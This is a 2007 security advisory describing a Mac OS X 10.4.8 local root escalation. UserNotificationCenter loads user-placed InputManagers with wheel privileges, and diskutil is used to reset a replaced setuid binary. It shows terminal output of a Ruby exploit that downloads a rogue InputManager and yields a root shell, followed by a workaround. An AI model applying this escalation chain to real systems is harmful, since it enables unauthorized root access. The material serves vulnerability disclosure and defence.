BACK

CREDIT

POC or EXPLOIT

REFERENCES


Sketch

Summary

The following description about CFUserNotification is available from Apple's Mac OS X Core Foundation reference:

A CFUserNotification object presents a simple dialog on the screen and optionally receives feedback from the user. The contents of the dialog can include a header, a message, an icon, text fields, a pop-up button, radio buttons or checkboxes, and up to three ordinary buttons. Use CFUserNotification in processes that do not otherwise have user interfaces, but may need occasional interaction with the user.

The API involved in the handling of these dialogs, CFUserNotificationSendRequest(), works by sending a Mach message to a port named "com.apple.UNCUserNotification".

---- UserNotification-17.1/Libunc/UNCUserNotification.c
#define NOTIFICATION_PORT_NAME "com.apple.UNCUserNotification"
#define NOTIFICATION_PORT_NAME_OLD "UNCUserNotification"
---- UserNotification-17.1/Libunc/UNCUserNotification.c
            

Actually, /System/Library/CoreServices/loginwindow.app/Contents/MacOS/loginwindow is responsible for operating the com.apple.UNCUserNotification port. For example, making a call to CFUserNotificationDisplayAlert() will lead to a call of CFUserNotificationSendRequest() which then interacts with the Mach port. Upon connection, UserNotificationCenter.app application is launched to handle the notification requests. In essence, the notification center application is launched on demand, at any time by any process.

Although, the application retains wheel privileges on execution time, and still has a UID associated with the current user. Because of this, UserNotificationCenter.app will attempt to run any InputManager that the user has placed into ~/Library/InputManagers. The code that is run within the input manager will do so under wheel privileges. In combination with diskutil and a wheel-writable setuid binary, this allows unprivileged users to gain root privileges.

The following description about InputManager(s) is available at CocoaDev:

Officially, an InputManager is a plugin that allows the development of alternate input methods which work in any (Cocoa) application. Unofficially, the InputManager mechanism is one of the simplest and most popular way to load arbitrary external code into other applications.

We've been able to abuse this issue through so-called "kernel panics" (ex. using any of the DMG issues, the pathconf issue, etc), as well as regular application "crashes" for gaining root privileges from a completely unprivileged account.

Affected versions

Verified on Mac OS X 10.4.8 (8L2127) x86. In case there's any confusion, this issue is architecture independent.

Proof of concept, exploit or instructions to reproduce

The provided exploit can use 3 different methods for triggering the issue: the notification API, kernel panic via DMG image and finally a corrupted font file (bonus bug from Kevin, apparently reported to Apple months ago...). It will download a compiled InputManager prepared to abuse the issue, and install it at ~/Library/InputManagers/. The notification API method downloads a fat binary as well. The source code for both is available.

$ ruby bug-files/MOAB-22-01-2007.rb 0
++ Welcome to Pwndertino...
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  4513  100  4513    0     0   4165      0  0:00:01  0:00:01 --:--:-- 12642
r00tim/
r00tim/Info
r00tim/r00tim.bundle/
r00tim/r00tim.bundle/Contents/
r00tim/r00tim.bundle/Contents/Info.plist
r00tim/r00tim.bundle/Contents/MacOS/
r00tim/r00tim.bundle/Contents/MacOS/r00tim
r00tim/r00tim.bundle/Contents/Resources/
r00tim/r00tim.bundle/Contents/Resources/English.lproj/
r00tim/r00tim.bundle/Contents/Resources/English.lproj/InfoPlist.strings
$ /Applications/System\ Preferences.app/Contents/Resources/installAssistant 
sh-2.05b# id
uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr), 80(admin)
			

Note: the installAssistant binary will be replaced. Create a backup somewhere before running the exploit.

Debugging information

UserNotificationCenter running with wheel privileges:

$ ps -ax -osvuid,svgid,rgid,ruid,uid,gid,command
SVUID SVGID  RGID  RUID   UID   GID COMMAND
502     0     0   502   502     0   /System/Library/CoreServices/UserNotification...
            

The contents of the InputManager that abuses the issue for escalating privileges via UserNotificationCenter:

$ tar -ztf MOAB-22-01-2007_im.tar.gz 
r00tim/
r00tim/Info
r00tim/r00tim.bundle/
r00tim/r00tim.bundle/Contents/
r00tim/r00tim.bundle/Contents/Info.plist
r00tim/r00tim.bundle/Contents/MacOS/
r00tim/r00tim.bundle/Contents/MacOS/r00tim
r00tim/r00tim.bundle/Contents/Resources/
r00tim/r00tim.bundle/Contents/Resources/English.lproj/
r00tim/r00tim.bundle/Contents/Resources/English.lproj/InfoPlist.strings
            

The fat binary downloaded is simply a shell wrapper (typical setuid(0), setgid(0), etc).

Notes

Exploitation conditions

Basically, this vulnerability makes every "denial of service issue" leading to a so-called 'crash' usable for escalating privileges. Elevating to root from wheel is as simple as replacing the installAssistant binary with a setuid(0) shell wrapper and running diskutil to "repair" the permissions, setting the setuid bit back. diskutil requires the user to have admin group privileges, but due to the fact that it's being executed in the context of the InputManager (which, again, runs with wheel privileges) the issue can be successfully exploited by fully unprivileged users.

This is done automatically within the rogue InputManager. We've decided to release it as a tribute to the original Month of Browser Bugs, and specially Matt Miller, Skywing and HD Moore, who developed a technique for abusing 'the otherwise non-exploitable' NULL pointer dereference issues.

To all who have tried to down play issues without a single clue about them, spread rumors and attack the project for no other reason than pure voyeurism and self-promotion, we hope you will be more discreet next time. The industry is already full of parasites. Resistance is futile.

Workaround or temporary solution

Limit user access to ~/Library/InputManagers/. Prevent use of diskutil (modification of permissions of the installAssistant binary isn't enough as the tool will set the permissions back).

All your crash are belong to us.